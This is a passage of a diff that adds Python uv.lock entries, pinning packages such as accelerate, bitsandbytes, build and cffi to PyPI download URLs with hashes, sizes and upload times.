+[[package]] +name = "accelerate" +version = "1.12.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "huggingface-hub" }, + { name = "numpy" }, + { name = "packaging" }, + { name = "psutil" }, + { name = "pyyaml" }, + { name = "safetensors" }, + { name = "torch" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4a/8e/ac2a9566747a93f8be36ee08532eb0160558b07630a081a6056a9f89bf1d/accelerate-1.12.0.tar.gz", hash = "sha256:70988c352feb481887077d2ab845125024b2a137a5090d6d7a32b57d03a45df6", size = 398399, upload-time = "2025-11-21T11:27:46.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/d2/c581486aa6c4fbd7394c23c47b83fa1a919d34194e16944241daf9e762dd/accelerate-1.12.0-py3-none-any.whl", hash = "sha256:3e2091cd341423207e2f084a6654b1efcd250dc326f2a37d6dde446e07cabb11", size = 380935, upload-time = "2025-11-21T11:27:44.522Z" }, +] + +[[package]] +name = "addict" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/85/ef/fd7649da8af11d93979831e8f1f8097e85e82d5bfeabc8c68b39175d8e75/addict-2.4.0.tar.gz", hash = "sha256:b3b2210e0e067a281f5646c8c5db92e99b7231ea8b0eb5f74dbdf9e259d4e494", size = 9186, upload-time = "2020-11-21T16:21:31.416Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/00/b08f23b7d7e1e14ce01419a467b583edbb93c6cdb8654e54a9cc579cd61f/addict-2.4.0-py3-none-any.whl", hash = "sha256:249bb56bbfd3cdc2a004ea0ff4c2b6ddc84d53bc2194761636eb314d5cfa5dfc", size = 3832, upload-time = "2020-11-21T16:21:29.588Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "antlr4-python3-runtime" +version = "4.9.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3e/38/7859ff46355f76f8d19459005ca000b6e7012f2f1ca597746cbcd1fbfe5e/antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b", size = 117034, upload-time = "2021-11-06T17:52:23.524Z" } + +[[package]] +name = "anyascii" +version = "0.3.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/ba/edebda727008390936da4a9bf677c19cd63b32d51e864656d2cbd1028e25/anyascii-0.3.3.tar.gz", hash = "sha256:c94e9dd9d47b3d9494eca305fef9447d00b4bf1a32aff85aa746fa3ec7fb95c3", size = 264680, upload-time = "2025-06-29T03:33:30.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c2/76/783b75a21ce3563b8709050de030ae253853b147bd52e141edc1025aa268/anyascii-0.3.3-py3-none-any.whl", hash = "sha256:f5ab5e53c8781a36b5a40e1296a0eeda2f48c649ef10c3921c1381b1d00dee7a", size = 345090, upload-time = "2025-06-29T03:33:28.356Z" }, +] + +[[package]] +name = "babel" +version = "2.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/6b/d52e42361e1aa00709585ecc30b3f9684b3ab62530771402248b1b1d6240/babel-2.17.0.tar.gz", hash = "sha256:0c54cffb19f690cdcc52a3b50bcbf71e07a808d1c80d549f2459b9d2cf0afb9d", size = 9951852, upload-time = "2025-02-01T15:17:41.026Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b8/3fe70c75fe32afc4bb507f75563d39bc5642255d1d94f1f23604725780bf/babel-2.17.0-py3-none-any.whl", hash = "sha256:4d0b53093fdfb4b21c92b5213dba5a1b23885afa8383709427046b21c366e5f2", size = 10182537, upload-time = "2025-02-01T15:17:37.39Z" }, +] + +[[package]] +name = "backoff" +version = "2.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/47/d7/5bbeb12c44d7c4f2fb5b56abce497eb5ed9f34d85701de869acedd602619/backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba", size = 17001, upload-time = "2022-10-05T19:19:32.061Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/73/b6e24bd22e6720ca8ee9a85a0c4a2971af8497d8f3193fa05390cbd46e09/backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8", size = 15148, upload-time = "2022-10-05T19:19:30.546Z" }, +] + +[[package]] +name = "backports-tarfile" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/86/72/cd9b395f25e290e633655a100af28cb253e4393396264a98bd5f5951d50f/backports_tarfile-1.2.0.tar.gz", hash = "sha256:d75e02c268746e1b8144c278978b6e98e85de6ad16f8e4b0844a154557eca991", size = 86406, upload-time = "2024-05-28T17:01:54.731Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/fa/123043af240e49752f1c4bd24da5053b6bd00cad78c2be53c0d1e8b975bc/backports.tarfile-1.2.0-py3-none-any.whl", hash = "sha256:77e284d754527b01fb1e6fa8a1afe577858ebe4e9dad8919e34c862cb399bc34", size = 30181, upload-time = "2024-05-28T17:01:53.112Z" }, +] + +[[package]] +name = "backrefs" +version = "5.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6c/46/caba1eb32fa5784428ab401a5487f73db4104590ecd939ed9daaf18b47e0/backrefs-5.8.tar.gz", hash = "sha256:2cab642a205ce966af3dd4b38ee36009b31fa9502a35fd61d59ccc116e40a6bd", size = 6773994, upload-time = "2025-02-25T18:15:32.003Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bf/cb/d019ab87fe70e0fe3946196d50d6a4428623dc0c38a6669c8cae0320fbf3/backrefs-5.8-py310-none-any.whl", hash = "sha256:c67f6638a34a5b8730812f5101376f9d41dc38c43f1fdc35cb54700f6ed4465d", size = 380337, upload-time = "2025-02-25T16:53:14.607Z" }, + { url = "https://files.pythonhosted.org/packages/a9/86/abd17f50ee21b2248075cb6924c6e7f9d23b4925ca64ec660e869c2633f1/backrefs-5.8-py311-none-any.whl", hash = "sha256:2e1c15e4af0e12e45c8701bd5da0902d326b2e200cafcd25e49d9f06d44bb61b", size = 392142, upload-time = "2025-02-25T16:53:17.266Z" }, + { url = "https://files.pythonhosted.org/packages/b3/04/7b415bd75c8ab3268cc138c76fa648c19495fcc7d155508a0e62f3f82308/backrefs-5.8-py312-none-any.whl", hash = "sha256:bbef7169a33811080d67cdf1538c8289f76f0942ff971222a16034da88a73486", size = 398021, upload-time = "2025-02-25T16:53:26.378Z" }, + { url = "https://files.pythonhosted.org/packages/04/b8/60dcfb90eb03a06e883a92abbc2ab95c71f0d8c9dd0af76ab1d5ce0b1402/backrefs-5.8-py313-none-any.whl", hash = "sha256:e3a63b073867dbefd0536425f43db618578528e3896fb77be7141328642a1585", size = 399915, upload-time = "2025-02-25T16:53:28.167Z" }, + { url = "https://files.pythonhosted.org/packages/0c/37/fb6973edeb700f6e3d6ff222400602ab1830446c25c7b4676d8de93e65b8/backrefs-5.8-py39-none-any.whl", hash = "sha256:a66851e4533fb5b371aa0628e1fee1af05135616b86140c9d787a2ffdf4b8fdc", size = 380336, upload-time = "2025-02-25T16:53:29.858Z" }, +] + +[[package]] +name = "bitsandbytes" +version = "0.47.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy", marker = "sys_platform != 'darwin'" }, + { name = "torch", marker = "sys_platform != 'darwin'" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/aa/eb/477d6b5602f469c7305fd43eec71d890c39909f615c1d7138f6e7d226eff/bitsandbytes-0.47.0-py3-none-manylinux_2_24_aarch64.whl", hash = "sha256:2f805b76891a596025e9e13318b675d08481b9ee650d65e5d2f9d844084c6521", size = 30004641, upload-time = "2025-08-11T18:51:20.524Z" }, + { url = "https://files.pythonhosted.org/packages/9c/40/91f1a5a694f434bc13cba160045fdc4e867032e627b001bf411048fefd9c/bitsandbytes-0.47.0-py3-none-manylinux_2_24_x86_64.whl", hash = "sha256:68f3fffd494a47ed1fd7593bfc5dd2ac69b68260599b71b4c4b3a32f90f3b184", size = 61284639, upload-time = "2025-08-11T18:51:23.581Z" }, + { url = "https://files.pythonhosted.org/packages/18/a9/e07a227f1cd6562844cea2f05ee576b0991a9a91f45965c06034178ba0f6/bitsandbytes-0.47.0-py3-none-win_amd64.whl", hash = "sha256:4880a6d42ca9628b5a571c8cc3093dc3f5f52511e5a9e47d52d569807975531a", size = 60725121, upload-time = "2025-08-11T18:51:27.543Z" }, +] + +[[package]] +name = "build" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "(os_name == 'nt' and platform_machine != 'aarch64' and sys_platform == 'linux') or (os_name == 'nt' and sys_platform != 'darwin' and sys_platform != 'linux')" }, + { name = "importlib-metadata", marker = "python_full_version < '3.10.2'" }, + { name = "packaging" }, + { name = "pyproject-hooks" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/18/94eaffda7b329535d91f00fe605ab1f1e5cd68b2074d03f255c7d250687d/build-1.4.0.tar.gz", hash = "sha256:f1b91b925aa322be454f8330c6fb48b465da993d1e7e7e6fa35027ec49f3c936", size = 50054, upload-time = "2026-01-08T16:41:47.696Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c5/0d/84a4380f930db0010168e0aa7b7a8fed9ba1835a8fbb1472bc6d0201d529/build-1.4.0-py3-none-any.whl", hash = "sha256:6a07c1b8eb6f2b311b96fcbdbce5dab5fe637ffda0fd83c9cac622e927501596", size = 24141, upload-time = "2026-01-08T16:41:46.453Z" }, +] + +[[package]] +name = "certifi" +version = "2025.4.26" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/9e/c05b3920a3b7d20d3d3310465f50348e5b3694f4f88c6daf736eef3024c4/certifi-2025.4.26.tar.gz", hash = "sha256:0a816057ea3cdefcef70270d2c515e4506bbc954f417fa5ade2021213bb8f0c6", size = 160705, upload-time = "2025-04-26T02:12:29.51Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/7e/3db2bd1b1f9e95f7cddca6d6e75e2f2bd9f51b1246e546d88addca0106bd/certifi-2025.4.26-py3-none-any.whl", hash = "sha256:30350364dfe371162649852c63336a15c70c6510c2ad5015b21c2345311805f3", size = 159618, upload-time = "2025-04-26T02:12:27.662Z" }, +] + +[[package]] +name = "cffi" +version = "1.17.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version == '3.13.*' and sys_platform == 'darwin'", + "python_full_version == '3.12.*' and sys_platform == 'darwin'", + "python_full_version == '3.11.*' and sys_platform == 'darwin'", + "python_full_version < '3.11' and sys_platform == 'darwin'", +] +dependencies = [ + { name = "pycparser", marker = "python_full_version < '3.14' and sys_platform == 'darwin'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621, upload-time = "2024-09-04T20:45:21.852Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/07/f44ca684db4e4f08a3fdc6eeb9a0d15dc6883efc7b8c90357fdbf74e186c/cffi-1.17.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:df8b1c11f177bc2313ec4b2d46baec87a5f3e71fc8b45dab2ee7cae86d9aba14", size = 182191, upload-time = "2024-09-04T20:43:30.027Z" }, + { url = "https://files.pythonhosted.org/packages/08/fd/cc2fedbd887223f9f5d170c96e57cbf655df9831a6546c1727ae13fa977a/cffi-1.17.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8f2cdc858323644ab277e9bb925ad72ae0e67f69e804f4898c070998d50b1a67", size = 178592, upload-time = "2024-09-04T20:43:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/6b/f4/927e3a8899e52a27fa57a48607ff7dc91a9ebe97399b357b85a0c7892e00/cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401", size = 182264, upload-time = "2024-09-04T20:43:51.124Z" }, + { url = "https://files.pythonhosted.org/packages/6c/f5/6c3a8efe5f503175aaddcbea6ad0d2c96dad6f5abb205750d1b3df44ef29/cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf", size = 178651, upload-time = "2024-09-04T20:43:52.872Z" }, + { url = "https://files.pythonhosted.org/packages/5a/84/e94227139ee5fb4d600a7a4927f322e1d4aea6fdc50bd3fca8493caba23f/cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4", size = 183178, upload-time = "2024-09-04T20:44:12.232Z" }, + { url = "https://files.pythonhosted.org/packages/da/ee/fb72c2b48656111c4ef27f0f91da355e130a923473bf5ee75c5643d00cca/cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c", size = 178840, upload-time = "2024-09-04T20:44:13.739Z" }, + { url = "https://files.pythonhosted.org/packages/8d/f8/dd6c246b148639254dad4d6803eb6a54e8c85c6e11ec9df2cffa87571dbe/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e", size = 182989, upload-time = "2024-09-04T20:44:28.956Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f1/672d303ddf17c24fc83afd712316fda78dc6fce1cd53011b839483e1ecc8/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2", size = 178802, upload-time = "2024-09-04T20:44:30.289Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.14' and sys_platform == 'darwin'", + "python_full_version >= '3.14' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.13.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "python_full_version == '3.12.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version >= '3.14' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version >= '3.14' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.13.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.13.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "(python_full_version == '3.12.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.12.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "python_full_version == '3.11.*' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version == '3.11.*' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version == '3.11.*' and sys_platform != 'darwin' and sys_platform != 'linux')", + "python_full_version < '3.11' and platform_machine == 'aarch64' and sys_platform == 'linux'", + "(python_full_version < '3.11' and platform_machine != 'aarch64' and sys_platform == 'linux') or (python_full_version < '3.11' and sys_platform != 'darwin' and sys_platform != 'linux')", +] +dependencies = [ + { name = "pycparser", marker = "(python_full_version >= '3.14' and implementation_name != 'PyPy') or (implementation_name != 'PyPy' and sys_platform != 'darwin')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, + { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, + { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, + { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, + { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, + { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, + { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, + { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, + { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, + { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, + { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, + { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, + { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = 